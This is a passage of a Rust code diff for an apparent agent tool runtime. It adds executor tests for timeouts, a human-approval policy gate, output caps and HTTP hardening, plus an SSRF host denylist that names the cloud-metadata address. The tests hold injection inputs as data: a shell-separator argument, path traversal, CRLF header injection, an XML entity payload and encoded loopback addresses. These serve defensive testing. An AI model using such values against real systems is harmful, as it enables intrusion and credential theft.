DEFAULT_KILL_GRACE_MS), + ] { + std::env::set_var("TOOLCLAD_KILL_GRACE_MS", v); + assert_eq!(kill_grace(), Duration::from_millis(ms), "{v}"); + } + std::env::remove_var("TOOLCLAD_KILL_GRACE_MS"); + assert_eq!(kill_grace(), Duration::from_millis(DEFAULT_KILL_GRACE_MS)); + } + + #[test] + fn test_timeout_fires_with_timeout_envelope() { + let _env = SpawnEnv::new(); + let m = spawn_manifest("sleep", &["sleep", "10"], "timeout_seconds = 1", ""); + let start = Instant::now(); + let out = execute(&m, &HashMap::new()).unwrap(); + assert!( + start.elapsed() < Duration::from_secs(5), + "{:?}", + start.elapsed() + ); + assert_eq!(out.status, "timeout"); + assert_eq!(out.exit_code, -1); + } + + /// Re-executed by `test_timeout_keeps_partial_output_and_kills_group` as + /// the tool: prints its pid and a grandchild's pid, then sleeps past the + /// deadline. Does nothing unless it runs in a ToolClad scratch directory, + /// so `cargo test -- --ignored` stays fast. + #[test] + #[ignore] + fn timeout_helper_print_then_sleep() { + use std::io::Write; + let in_scratch = std::env::current_dir() + .ok() + .and_then(|d| { + d.file_name() + .map(|n| n.to_string_lossy().ends_with("-work")) + }) + .unwrap_or(false); + if !in_scratch { + return; + } + let mut grandchild = Command::new("sleep").arg("30").spawn().unwrap(); + println!("partial-marker {} {}", std::process::id(), grandchild.id()); + std::io::stdout().flush().unwrap(); + std::thread::sleep(Duration::from_secs(30)); + let _ = grandchild.wait(); + } + + #[cfg(target_os = "linux")] + #[test] + fn test_timeout_keeps_partial_output_and_kills_group() { + let _env = SpawnEnv::new(); + let exe = std::env::current_exe().unwrap(); + let exe = path_string(&exe); + // The helper's test harness spawns threads; lift NPROC (capped at + // the hard limit) so a busy host cannot make it fail to start. + let m = spawn_manifest( + &exe, + &[ + &exe, + "--exact", + "executor::tests::timeout_helper_print_then_sleep", + "--ignored", + "--nocapture", + "--test-threads=1", + ], + "timeout_seconds = 1", + "[tool.limits]\nnproc = 4194304\n", + ); + let start = Instant::now(); + let out = execute(&m, &HashMap::new()).unwrap(); + assert!( + start.elapsed() < Duration::from_secs(5), + "{:?}", + start.elapsed() + ); + assert_eq!(out.status, "timeout"); + assert_eq!(out.exit_code, -1); + let text = raw(&out); + // The helper's harness prints its own text on the same line first. + let line = text + .lines() + .find_map(|l| l.split_once("partial-marker ").map(|(_, rest)| rest)) + .unwrap_or_else(|| panic!("partial output lost: {text:?} / {}", out.stderr)); + let pids: Vec = line + .split_whitespace() + .map(|p| p.parse().unwrap()) + .collect(); + // Both the tool and its grandchild are gone (the grandchild, now + // orphaned, may linger as a zombie for a moment until init reaps it). + for pid in pids { + let gone = (0..50).any(|_| { + // SAFETY: signal 0 only probes for existence. + let alive = unsafe { libc::kill(pid, 0) } == 0 + && !std::fs::read_to_string(format!("/proc/{pid}/stat")) + .map(|s| s.contains(") Z ")) + .unwrap_or(true); + if alive { + std::thread::sleep(Duration::from_millis(20)); + } + !alive + }); + assert!(gone, "pid {pid} survived the timeout"); + } + } + + // ---- W7: policy gate ------------------------------------------------- + + /// An `echo` manifest with a `target` argument; `tool_extra` lands in + /// `[tool]`. + fn gated_manifest(tool_extra: &str) -> Manifest { + crate::parse_manifest(&format!( + "[tool]\nname = \"gate_test\"\nversion = \"1.0.0\"\nbinary = \"echo\"\n\ + description = \"d\"\n{tool_extra}\n\n\ + [args.target]\nposition = 1\nrequired = true\ntype = \"string\"\n\ + description = \"t\"\n\n\ + [args.flag]\nposition = 2\nrequired = false\ntype = \"boolean\"\n\ + default = \"FALSE\"\ndescription = \"f\"\n\n\ + [command]\nexec = [\"echo\", \"{{target}}\", \"{{_output_file}}\"]\n\n\ + [output]\nformat = \"text\"\n" + )) + .unwrap_or_else(|e| panic!("manifest should load: {e}")) + } + + fn target(v: &str) -> HashMap { + HashMap::from([("target".to_string(), v.to_string())]) + } + + #[test] + fn test_gate_denies_human_approval_and_nothing_runs() { + let env = SpawnEnv::new(); + let m = gated_manifest("human_approval = true"); + let err = execute(&m, &target("hello")).unwrap_err(); + assert!(matches!(err, ToolCladError::PolicyDenied(_)), "{err:?}"); + assert_eq!( + err.to_string(), + "policy gate denied: manifest requires human approval (human_approval = true)" + ); + // Nothing was prepared or spawned: the evidence root was never created. + assert!(!env.evidence().exists()); + } + + #[test] + fn test_gate_risk_tiers() { + for tier in ["high", "critical"] { + let m = gated_manifest(&format!("risk_tier = \"{tier}\"")); + let err = execute(&m, &target("x")).unwrap_err().to_string(); + assert_eq!( + err, + format!("policy gate denied: risk_tier '{tier}' requires explicit approval") + ); + } + for tier in ["info", "low", "medium"] { + let m = gated_manifest(&format!("risk_tier = \"{tier}\"")); + assert_eq!(default_gate(&m, &HashMap::new()), GateDecision::Allow); + } + let _env = SpawnEnv::new(); + let m = gated_manifest("risk_tier = \"medium\""); + assert_eq!(execute(&m, &target("x")).unwrap().status, "success"); + } + + #[test] + fn test_gate_approved_runs() { + let _env = SpawnEnv::new(); + let m = gated_manifest("human_approval = true\nrisk_tier = \"critical\""); + let out = execute_approved(&m, &target("hello")).unwrap(); + assert_eq!(out.status, "success"); + assert!(raw(&out).starts_with("hello "), "{}", raw(&out)); + let out = execute_with_gate(&m, &target("hello"), &approve_gate).unwrap(); + assert_eq!(out.status, "success"); + } + + #[test] + fn test_custom_gate_sees_validated_values_and_its_reason_reaches_caller() { + let _env = SpawnEnv::new(); + let m = gated_manifest(""); + let seen = Mutex::new(None); + let gate = |_: &Manifest, v: &HashMap| { + *seen.lock().unwrap() = Some(v.clone()); + if v.get("target").map(String::as_str) == Some("forbidden") { + GateDecision::Deny("target 'forbidden' is off limits".to_string()) + } else { + GateDecision::Allow + } + }; + let err = execute_with_gate(&m, &target("forbidden"), &gate) + .unwrap_err() + .to_string(); + assert_eq!(err, "policy gate denied: target 'forbidden' is off limits"); + // The gate saw the cleaned values, default applied and normalized. + let v = seen.lock().unwrap().take().unwrap(); + assert_eq!(v.get("flag").map(String::as_str), Some("false")); + assert!(execute_with_gate(&m, &target("fine"), &gate).is_ok()); + } + + #[test] + fn test_gate_runs_after_validation() { + let m = gated_manifest("human_approval = true"); + let called = std::cell::Cell::new(false); + let gate = |_: &Manifest, _: &HashMap| { + called.set(true); + GateDecision::Deny("no".to_string()) + }; + let err = execute_with_gate(&m, &target("a;b"), &gate) + .unwrap_err() + .to_string(); + assert!(err.starts_with("validation error"), "{err}"); + assert!(!called.get()); + let err = execute(&m, &HashMap::new()).unwrap_err().to_string(); + assert!(err.contains("missing required argument"), "{err}"); + } + + #[test] + fn test_gate_applies_to_http_and_mcp() { + use crate::types::McpProxyDef; + let mut m = minimal_manifest(); + m.tool.human_approval = true; + m.mcp = Some(McpProxyDef { + server: "s".to_string(), + tool: "t".to_string(), + field_map: HashMap::new(), + }); + let err = execute(&m, &target("example.com")).unwrap_err(); + assert!(matches!(err, ToolCladError::PolicyDenied(_)), "{err:?}"); + + // HTTP: denied before any request (the port would refuse anyway). + let mut m = minimal_manifest(); + m.tool.risk_tier = "high".to_string(); + m.command = CommandDef::default(); + m.http = Some(HttpDef { + method: "GET".to_string(), + url: "http://127.0.0.1:1/{target}".to_string(), + headers: HashMap::new(), + body_template: None, + success_status: vec![], + error_status: vec![], + }); + let err = execute(&m, &target("example.com")).unwrap_err(); + assert!(matches!(err, ToolCladError::PolicyDenied(_)), "{err:?}"); + } + + #[test] + fn test_dry_run_is_not_gated() { + let m = gated_manifest("human_approval = true\nrisk_tier = \"critical\""); + let dry = dry_run(&m, &target("hello")).unwrap(); + assert!(dry.command.starts_with("echo hello "), "{}", dry.command); + } + + // ---- W9: output caps, parsing and fail-closed schema ------------------ + + /// An `echo` manifest printing `json_text` with output `[output]` extras. + fn echo_manifest(json_text: &str, output: &str) -> Manifest { + spawn_manifest( + "echo", + &["echo", &json_text.replace('{', "{{").replace('}', "}}")], + "", + "", + ) + .with_output(output) + } + + trait WithOutput { + fn with_output(self, output: &str) -> Manifest; + } + + impl WithOutput for Manifest { + fn with_output(mut self, output: &str) -> Manifest { + let o: OutputDef = toml::from_str(output).unwrap(); + self.output = Some(o); + self + } + } + + #[test] + fn test_output_cap_truncates_and_flags() { + let _env = SpawnEnv::new(); + let m = spawn_manifest("seq", &["seq", "1", "5000"], "", "") + .with_output("format = \"text\"\nmax_bytes = 1024"); + let start = Instant::now(); + let out = execute(&m, &HashMap::new()).unwrap(); + assert!(start.elapsed() < Duration::from_secs(5)); + assert_eq!(out.status, "success"); + assert!(out.output_truncated); + assert_eq!(raw(&out).len(), 1024); + assert!(raw(&out).starts_with("1\n2\n3\n")); + let json = serde_json::to_value(&out).unwrap(); + assert_eq!(json["output_truncated"], true); + + // Under the cap: no flag, and the field is omitted. + let m = spawn_manifest("seq", &["seq", "1", "5"], "", ""); + let out = execute(&m, &HashMap::new()).unwrap(); + assert!(!out.output_truncated); + let json = serde_json::to_value(&out).unwrap(); + assert!(json.get("output_truncated").is_none()); + } + + #[test] + fn test_capped_text_respects_char_boundaries() { + let text = capped_text("\u{e9}\u{e9}".as_bytes().to_vec(), 3); + assert_eq!(text, "\u{e9}"); + assert!(capped_text(vec![0xff, 0xff, 0xff], 2).len() <= 2); + } + + #[test] + fn test_fail_closed_schema_end_to_end() { + let _env = SpawnEnv::new(); + let output = "format = \"json\"\n[schema]\ntype = \"object\"\nrequired = [\"ok\"]\n\ + [schema.properties.ok]\ntype = \"boolean\"\n"; + + let out = execute(&echo_manifest(r#"{"ok": "yes"}"#, output), &HashMap::new()).unwrap(); + assert_eq!(out.status, "schema_error"); + assert_eq!( + out.results["schema_error"], + "/ok: expected boolean, got string" + ); + assert_eq!(out.results["raw_output"], "{\"ok\": \"yes\"}\n"); + assert_eq!(out.exit_code, 0); + + let out = execute(&echo_manifest(r#"{"ok": true}"#, output), &HashMap::new()).unwrap(); + assert_eq!(out.status, "success"); + assert_eq!(out.results, serde_json::json!({"ok": true})); + + let out = execute(&echo_manifest("not json", output), &HashMap::new()).unwrap(); + assert_eq!(out.status, "parse_error"); + assert!( + out.results["parse_error"] + .as_str() + .unwrap() + .starts_with("JSON parse failed"), + "{}", + out.results + ); + assert_eq!(out.results["raw_output"], "not json\n"); + + // No declared schema: the default {"type": "object"} still applies, + // and a non-object JSON value is wrapped so it satisfies it. + let out = execute( + &echo_manifest("[1, 2]", "format = \"json\""), + &HashMap::new(), + ) + .unwrap(); + assert_eq!(out.status, "success"); + assert_eq!(out.results, serde_json::json!({"parsed_output": [1, 2]})); + } + + #[test] + fn test_xml_doctype_refused_plain_xml_parses() { + let _env = SpawnEnv::new(); + let evil = r#"]>&a;"#; + let out = execute(&echo_manifest(evil, "format = \"xml\""), &HashMap::new()).unwrap(); + assert_eq!(out.status, "parse_error"); + assert_eq!(out.results["parse_error"], XML_DTD_REFUSED); + let lower = ""; + assert!(parse_xml_to_json(lower).is_err()); + + let out = execute( + &echo_manifest( + r#"t"#, + "format = \"xml\"", + ), + &HashMap::new(), + ) + .unwrap(); + assert_eq!(out.status, "success"); + assert_eq!(out.results["root"]["item"]["@name"], "a"); + } + + #[test] + fn test_jsonl_and_csv_results_are_objects() { + let m = minimal_manifest().with_output("format = \"jsonl\""); + assert_eq!( + parse_output(&m, "{\"a\":1}\n\n{\"a\":2}\n").unwrap(), + serde_json::json!({"parsed_output": [{"a": 1}, {"a": 2}]}) + ); + let m = minimal_manifest().with_output("format = \"csv\""); + assert_eq!( + parse_output(&m, "name,age,ok\nAlice,30,true\n").unwrap(), + serde_json::json!({"parsed_output": [{"name": "Alice", "age": 30, "ok": true}]}) + ); + assert_eq!( + parse_output(&m, "").unwrap(), + serde_json::json!({"parsed_output": []}) + ); + let m = minimal_manifest().with_output("format = \"text\""); + assert_eq!( + parse_output(&m, "hi").unwrap(), + serde_json::json!({"raw_output": "hi"}) + ); + // A custom parser on a manifest built in code fails rather than + // passing output through unchecked. + let m = minimal_manifest().with_output("format = \"json\"\nparser = \"x.py\""); + assert!(parse_output(&m, "{}") + .unwrap_err() + .contains("not supported")); + } + + // ---- W10: HTTP hardening and the declared envelope command ------------- + + fn http_get_manifest(url: &str) -> Manifest { + let mut m = minimal_manifest(); + m.args.get_mut("target").unwrap().type_name = "string".to_string(); + m.command = CommandDef::default(); + m.http = Some(HttpDef { + method: "GET".to_string(), + url: url.to_string(), + headers: HashMap::new(), + body_template: None, + success_status: vec![], + error_status: vec![], + }); + m + } + + #[test] + fn test_http_path_values_are_percent_encoded() { + let m = http_get_manifest("https://api.example.com/{target}"); + let parts = build_http_request(&m, &target("../admin?role=admin")).unwrap(); + assert_eq!( + parts.url, + "https://api.example.com/..%2Fadmin%3Frole%3Dadmin" + ); + let rest = parts.url.strip_prefix("https://").unwrap(); + let (host, path) = rest.split_once('/').unwrap(); + assert_eq!(host, "api.example.com"); + assert!(!path.contains("/admin") && !path.contains('?'), "{path}"); + } + + #[test] + fn test_http_query_values_are_percent_encoded() { + let m = http_get_manifest("https://api.example.com/search?q={target}&limit=5"); + let parts = build_http_request(&m, &target("a&admin=true #x%")).unwrap(); + assert_eq!( + parts.url, + "https://api.example.com/search?q=a%26admin%3Dtrue%20%23x%25&limit=5" + ); + } + + #[test] + fn test_http_value_is_not_rescanned_for_placeholders() { + let mut m = http_get_manifest("https://api.example.com/{target}/{other}"); + m.args.insert( + "other".to_string(), + ArgDef { + type_name: "string".to_string(), + ..Default::default() + }, + ); + let v = HashMap::from([ + ("target".to_string(), "{other}".to_string()), + ("other".to_string(), "x".to_string()), + ]); + let parts = build_http_request(&m, &v).unwrap(); + assert_eq!(parts.url, "https://api.example.com/%7Bother%7D/x"); + } + + #[test] + fn test_http_url_host_placeholder_is_load_error() { + for url in [ + "https://{host}/x", + "{scheme}://example.com/x", + "https://api.{host}.com/x", + "https://user@{host}:8080/", + "{base}/x", + ] { + let err = http_url_literal_host(url).unwrap_err().to_string(); + assert!( + err.contains("http.url may not interpolate into the scheme or host"), + "{url}: {err}" + ); + } + assert_eq!( + http_url_literal_host("https://u@api.example.com:8443/{p}?q={q}").unwrap(), + "api.example.com" + ); + assert_eq!(http_url_literal_host("http://[::1]:80/").unwrap(), "[::1]"); + assert!(http_url_literal_host("ftp://example.com/").is_err()); + } + + #[test] + fn test_http_header_crlf_and_bad_name_refused() { + let mut m = http_get_manifest("https://api.example.com/"); + m.http + .as_mut() + .unwrap() + .headers + .insert("X-Echo".to_string(), "v={target}".to_string()); + let err = build_http_request(&m, &target("a\r\nX-Admin: 1")) + .unwrap_err() + .to_string(); + assert!(err.contains("CR, LF or NUL"), "{err}"); + + let mut m = http_get_manifest("https://api.example.com/"); + m.http + .as_mut() + .unwrap() + .headers + .insert("Bad Name".to_string(), "v".to_string()); + let err = build_http_request(&m, &target("a")) + .unwrap_err() + .to_string(); + assert!(err.contains("not a valid token"), "{err}"); + } + + /// A one-thread HTTP responder on 127.0.0.1: answers every connection + /// with `response(path)` and records the request paths. Stops after + /// `stop` is set. + struct TestServer { + port: u16, + paths: Arc>>, + stop: Arc, + handle: Option>, + } + + impl TestServer { + fn start(response: fn(&str, u16) -> String) -> Self { + use std::io::Write; + let listener = std::net::TcpListener::bind("127.0.0.1:0").unwrap(); + listener.set_nonblocking(true).unwrap(); + let port = listener.local_addr().unwrap().port(); + let paths = Arc::new(Mutex::new(Vec::new())); + let stop = Arc::new(std::sync::atomic::AtomicBool::new(false)); + let (p, st) = (Arc::clone(&paths), Arc::clone(&stop)); + let handle = std::thread::spawn(move || { + while !st.load(std::sync::atomic::Ordering::SeqCst) { + let Ok((mut sock, _)) = listener.accept() else { + std::thread::sleep(Duration::from_millis(10)); + continue; + }; + sock.set_nonblocking(false).unwrap(); + sock.set_read_timeout(Some(Duration::from_secs(2))).unwrap(); + let mut req = Vec::new(); + let mut buf = [0u8; 1024]; + while !req.windows(4).any(|w| w == b"\r\n\r\n") { + match sock.read(&mut buf) { + Ok(0) | Err(_) => break, + Ok(n) => req.extend_from_slice(&buf[..n]), + } + } + let text = String::from_utf8_lossy(&req).into_owned(); + let path = text.split_whitespace().nth(1).unwrap_or("").to_string(); + p.lock().unwrap().push(path.clone()); + let _ = sock.write_all(response(&path, port).as_bytes()); + } + }); + Self { + port, + paths, + stop, + handle: Some(handle), + } + } + + fn finish(mut self) -> Vec { + std::thread::sleep(Duration::from_millis(100)); + self.stop.store(true, std::sync::atomic::Ordering::SeqCst); + self.handle.take().unwrap().join().unwrap(); + self.paths.lock().unwrap().clone() + } + } + + fn http_toml(port: u16, url_path: &str, output_extra: &str) -> Manifest { + crate::parse_manifest(&format!( + "[tool]\nname = \"http_test\"\nversion = \"1.0.0\"\nbinary = \"http\"\n\ + description = \"d\"\ntimeout_seconds = 5\n\n\ + [http]\nmethod = \"GET\"\nurl = \"http://127.0.0.1:{port}{url_path}\"\n\n\ + [output]\nformat = \"text\"\n{output_extra}" + )) + .unwrap_or_else(|e| panic!("manifest should load: {e}")) + } + + #[test] + fn test_http_redirect_is_not_followed() { + let server = TestServer::start(|path, port| { + if path == "/start" { + format!( + "HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:{port}/followed\r\n\ + Content-Length: 5\r\nConnection: close\r\n\r\nmoved" + ) + } else { + "HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok".to_string() + } + }); + let m = http_toml(server.port, "/start", ""); + let out = execute(&m, &HashMap::new()); + let port = server.port; + let paths = server.finish(); + let out = out.unwrap(); + assert_eq!(out.status, "redirect_blocked"); + assert_eq!( + out.results["location"], + format!("http://127.0.0.1:{port}/followed") + ); + assert_eq!(out.results["raw_output"], "moved"); + assert_eq!( + paths, + vec!["/start".to_string()], + "a second request was made" + ); + } + + #[test] + fn test_http_body_is_capped_and_command_is_declared() { + let _guard = env_lock(); + std::env::set_var("TOOLCLAD_SECRET_HTTP_TOK", "tok-value-123"); + let server = TestServer::start(|_, _| { + let body = "x".repeat(4096); + format!( + "HTTP/1.1 200 OK\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}", + body.len() + ) + }); + let m = http_toml( + server.port, + "/x?key={_secret:http_tok}", + "max_bytes = 1024\n", + ); + let out = execute(&m, &HashMap::new()); + std::env::remove_var("TOOLCLAD_SECRET_HTTP_TOK"); + let paths = server.finish(); + let out = out.unwrap(); + assert_eq!(out.status, "success"); + assert!(out.output_truncated); + assert_eq!(out.results["raw_output"].as_str().unwrap().len(), 1024); + // The secret reached the server but not the envelope. + assert_eq!(paths, vec!["/x?key=tok-value-123".to_string()]); + assert!( + out.command.contains("{_secret:http_tok}"), + "{}", + out.command + ); + assert!(!out.command.contains("tok-value-123")); + assert!(!serde_json::to_string(&out) + .unwrap() + .contains("tok-value-123")); + } + + fn http_json_response(_: &str, _: u16) -> String { + let body = r#"{"name":"ok","count":3}"#; + format!( + "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\ + Connection: close\r\n\r\n{body}", + body.len() + ) + } + + fn http_json_manifest(port: u16, schema: &str) -> Manifest { + crate::parse_manifest(&format!( + "[tool]\nname = \"http_json\"\nversion = \"1.0.0\"\nbinary = \"http\"\n\ + description = \"d\"\ntimeout_seconds = 5\n\n\ + [http]\nmethod = \"GET\"\nurl = \"http://127.0.0.1:{port}/j\"\n\n\ + [output]\nformat = \"json\"\nparser = \"builtin:json\"\n\n{schema}" + )) + .unwrap_or_else(|e| panic!("manifest should load: {e}")) + } + + #[test] + fn test_http_body_is_parsed_and_schema_checked() { + // A conforming body is parsed into results. + let server = TestServer::start(http_json_response); + let m = http_json_manifest( + server.port, + "[output.schema]\ntype = \"object\"\nrequired = [\"name\"]\n\n\ + [output.schema.properties.count]\ntype = \"integer\"\n", + ); + let out = execute(&m, &HashMap::new()); + server.finish(); + let out = out.unwrap(); + assert_eq!(out.status, "success"); + assert_eq!(out.results["name"], "ok"); + assert_eq!(out.results["count"], 3); + assert_eq!(out.results["http_status"], 200); + + // A body that violates the schema fails closed. + let server = TestServer::start(http_json_response); + let m = http_json_manifest( + server.port, + "[output.schema]\ntype = \"object\"\n\n\ + [output.schema.properties.count]\ntype = \"string\"\n", + ); + let out = execute(&m, &HashMap::new()); + server.finish(); + let out = out.unwrap(); + assert_eq!(out.status, "schema_error"); + assert!(out.results["schema_error"].is_string(), "{}", out.results); + assert_eq!(out.results["raw_output"], r#"{"name":"ok","count":3}"#); + assert!(out.results.get("name").is_none()); + + // A body that does not parse fails closed too. + let server = TestServer::start(|_, _| { + "HTTP/1.1 200 OK\r\nContent-Length: 8\r\nConnection: close\r\n\r\nnot json".to_string() + }); + let m = http_json_manifest(server.port, ""); + let out = execute(&m, &HashMap::new()); + server.finish(); + let out = out.unwrap(); + assert_eq!(out.status, "parse_error"); + assert_eq!(out.results["raw_output"], "not json"); + } + + #[test] + fn test_oneshot_envelope_command_is_declared_form() { + let env = SpawnEnv::new(); + let m = gated_manifest(""); + let out = execute(&m, &target("hello")).unwrap(); + assert_eq!(out.command, "echo {target} {_output_file}"); + let evidence = path_string(&env.evidence()); + assert!(!out.command.contains(&evidence)); + assert!(raw(&out).contains(&evidence), "the tool still got the path"); + + // A legacy template is reported as written. + let mut m = minimal_manifest(); + m.command.exec = Some(tokenize_template("echo {target}").unwrap()); + let out = execute(&m, &target("example.com")).unwrap(); + assert_eq!(out.command, "echo {target}"); + + // The dry run keeps the resolved argv. + let dry = dry_run(&m, &target("example.com")).unwrap(); + assert_eq!(dry.command, "echo example.com"); + } } diff --git a/rust/src/hostpolicy.rs b/rust/src/hostpolicy.rs new file mode 100644 index 0000000..ccac6fb --- /dev/null +++ b/rust/src/hostpolicy.rs @@ -0,0 +1,1234 @@ +//! Host / IP egress policy shared by every argument type that can carry a +//! literal address: `scope_target`, `url`, `ip_address` and `cidr`. +//! +//! The range table in this module is the single source of truth for the Rust +//! runtime and is mirrored verbatim by the Go, JavaScript and Python runtimes, +//! so the four can be compared side by side. There are two tiers: +//! +//! * **Always blocked**, with or without `block_internal`: the link-local +//! ranges. IPv4 link-local contains the cloud-metadata endpoint +//! 169.254.169.254, and the blast radius of reaching it (instance-credential +//! theft) is maximal. No agent tool has a legitimate reason to target these. +//! * **Blocked when `block_internal = true`**: loopback, private, shared +//! (carrier-grade NAT), unspecified, broadcast, documentation, benchmarking +//! and reserved space, plus the IPv6 equivalents. +//! +//! IPv4-mapped IPv6 addresses (`::ffff:a.b.c.d`) are unwrapped before the +//! table is consulted, so the IPv6 spelling of any IPv4 range is caught. +//! +//! The parser helpers at the bottom (`parse_canonical_ip`, +//! `looks_like_ip_literal`, `has_punycode_label`) sit in front of the policy: +//! a value the resolver would expand (`2130706433`, `0x7f000001`, +//! `0177.0.0.1`, `127.1`) must be refused outright rather than passed through +//! as a "hostname" the table never sees. +//! +//! The hostname and range rules build on the table: +//! +//! * [`is_internal_name`] — the internal-name denylist (`localhost`, +//! `*.local`, `*.internal`, ...), applied with or without `block_internal`. +//! * [`embedded_ip_literal`] — a dotted or dashed quad at the front of a +//! hostname (`127.0.0.1.nip.io`, `10-0-0-1.nip.io`); wildcard-DNS services +//! resolve such names to the address they spell, so the host is treated as +//! that address. +//! * [`enforce_cidr_policy`] — a CIDR value is tested for *overlap* with every +//! blocked range, not just its base address, so a supernet such as +//! `8.0.0.0/5` cannot smuggle `10.0.0.0/8` past the table. +//! * [`enforce_resolved_host_policy`] — under `block_internal` a name is +//! resolved and every A/AAAA answer is tested; a name that cannot be +//! resolved cannot be shown to be public and is refused. +//! +//! [`enforce_hostname_policy`] runs those in order for a structurally valid +//! hostname and is the single entry point the validators call. + +use crate::types::ToolCladError; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr, ToSocketAddrs}; + +/// One blocked IPv4 prefix and the reason reported when a target falls in it. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct BlockedRange4 { + pub net: Ipv4Addr, + pub prefix: u8, + pub reason: &'static str, +} + +/// One blocked IPv6 prefix and the reason reported when a target falls in it. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct BlockedRange6 { + pub net: Ipv6Addr, + pub prefix: u8, + pub reason: &'static str, +} + +const fn r4(a: u8, b: u8, c: u8, d: u8, prefix: u8, reason: &'static str) -> BlockedRange4 { + BlockedRange4 { + net: Ipv4Addr::new(a, b, c, d), + prefix, + reason, + } +} + +#[allow(clippy::too_many_arguments)] +const fn r6( + s0: u16, + s1: u16, + s2: u16, + s3: u16, + s4: u16, + s5: u16, + s6: u16, + s7: u16, + prefix: u8, + reason: &'static str, +) -> BlockedRange6 { + BlockedRange6 { + net: Ipv6Addr::new(s0, s1, s2, s3, s4, s5, s6, s7), + prefix, + reason, + } +} + +/// IPv4 ranges blocked regardless of `block_internal`. +pub const ALWAYS_BLOCKED_V4: &[BlockedRange4] = &[r4( + 169, + 254, + 0, + 0, + 16, + "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked", +)]; + +/// IPv6 ranges blocked regardless of `block_internal`. +pub const ALWAYS_BLOCKED_V6: &[BlockedRange6] = &[r6( + 0xfe80, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 10, + "is an IPv6 link-local address (fe80::/10) — always blocked", +)]; + +/// IPv4 ranges blocked when `block_internal = true`. Entries are tested in +/// order, so the broadcast address (which also lies inside 240.0.0.0/4) is +/// reported as broadcast, not as reserved. +pub const BLOCK_INTERNAL_V4: &[BlockedRange4] = &[ + r4(127, 0, 0, 0, 8, "resolves to a loopback address"), + r4(10, 0, 0, 0, 8, "resolves to a private address"), + r4(172, 16, 0, 0, 12, "resolves to a private address"), + r4(192, 168, 0, 0, 16, "resolves to a private address"), + r4( + 100, + 64, + 0, + 0, + 10, + "resolves to a shared / carrier-grade NAT address (100.64.0.0/10)", + ), + r4(0, 0, 0, 0, 8, "is in the unspecified range (0.0.0.0/8)"), + r4(255, 255, 255, 255, 32, "is the broadcast address"), + r4(192, 0, 2, 0, 24, "is a documentation-range address"), + r4(198, 51, 100, 0, 24, "is a documentation-range address"), + r4(203, 0, 113, 0, 24, "is a documentation-range address"), + r4( + 198, + 18, + 0, + 0, + 15, + "is a benchmarking-range address (198.18.0.0/15)", + ), + r4(240, 0, 0, 0, 4, "is a reserved address (240.0.0.0/4)"), +]; + +/// IPv6 ranges blocked when `block_internal = true`. Link-local appears here +/// as well as in the always-blocked tier so the table matches the policy as +/// written; in practice the always-blocked check fires first. +pub const BLOCK_INTERNAL_V6: &[BlockedRange6] = &[ + r6( + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 1, + 128, + "resolves to the IPv6 loopback ::1", + ), + r6( + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 128, + "is the IPv6 unspecified address ::", + ), + r6( + 0xfc00, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 7, + "is an IPv6 unique-local address (fc00::/7)", + ), + r6( + 0xfe80, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 10, + "is an IPv6 link-local address (fe80::/10)", + ), + r6( + 0x2001, + 0x0db8, + 0, + 0, + 0, + 0, + 0, + 0, + 32, + "is an IPv6 documentation-range address (2001:db8::/32)", + ), +]; + +/// Network mask for an IPv4 prefix length (`/0` is all zeros). +fn v4_mask(prefix: u8) -> u32 { + if prefix == 0 { + 0 + } else { + u32::MAX << (32 - u32::from(prefix.min(32))) + } +} + +/// Network mask for an IPv6 prefix length (`/0` is all zeros). +fn v6_mask(prefix: u8) -> u128 { + if prefix == 0 { + 0 + } else { + u128::MAX << (128 - u32::from(prefix.min(128))) + } +} + +/// True if the prefixes `a/ap` and `b/bp` share any address. Two prefixes +/// overlap exactly when one contains the other's network address, which is +/// the same as agreeing on the leading bits up to the *shorter* of the two +/// prefix lengths. +pub fn v4_overlaps(a: Ipv4Addr, ap: u8, b: Ipv4Addr, bp: u8) -> bool { + let mask = v4_mask(ap.min(bp)); + (u32::from(a) & mask) == (u32::from(b) & mask) +} + +/// IPv6 counterpart of [`v4_overlaps`]. +pub fn v6_overlaps(a: Ipv6Addr, ap: u8, b: Ipv6Addr, bp: u8) -> bool { + let mask = v6_mask(ap.min(bp)); + (u128::from(a) & mask) == (u128::from(b) & mask) +} + +/// True if `ip` lies inside the range (prefix match on the leading bits). +pub fn v4_in_range(ip: Ipv4Addr, range: &BlockedRange4) -> bool { + v4_overlaps(ip, 32, range.net, range.prefix) +} + +/// True if `ip` lies inside the range (prefix match on the leading bits). +pub fn v6_in_range(ip: Ipv6Addr, range: &BlockedRange6) -> bool { + v6_overlaps(ip, 128, range.net, range.prefix) +} + +/// A parsed CIDR prefix (`addr/prefix`). `std` has no prefix type, so this +/// is the minimal one the policy needs. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct IpNet { + pub addr: IpAddr, + pub prefix: u8, +} + +impl std::fmt::Display for IpNet { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "{}/{}", self.addr, self.prefix) + } +} + +/// Parse strict CIDR notation: a canonical IP literal (dotted-quad IPv4 or +/// standard IPv6, as accepted by [`parse_canonical_ip`]), one `/`, and a +/// prefix length written in plain decimal with no sign and no leading zero, +/// at most 32 for IPv4 and 128 for IPv6. Anything else — a shorthand or hex +/// base, `/+24`, `/024`, a bracketed IPv6 — is not a CIDR. +pub fn parse_cidr(val: &str) -> Option { + let (base, prefix) = val.split_once('/')?; + let addr = parse_canonical_ip(base)?; + let plain_decimal = !prefix.is_empty() + && prefix.len() <= 3 + && prefix.bytes().all(|b| b.is_ascii_digit()) + && (prefix == "0" || !prefix.starts_with('0')); + if !plain_decimal { + return None; + } + let prefix: u8 = prefix.parse().ok()?; + let max = match addr { + IpAddr::V4(_) => 32, + IpAddr::V6(_) => 128, + }; + (prefix <= max).then_some(IpNet { addr, prefix }) +} + +/// Overlap of `net` with a blocked IPv4 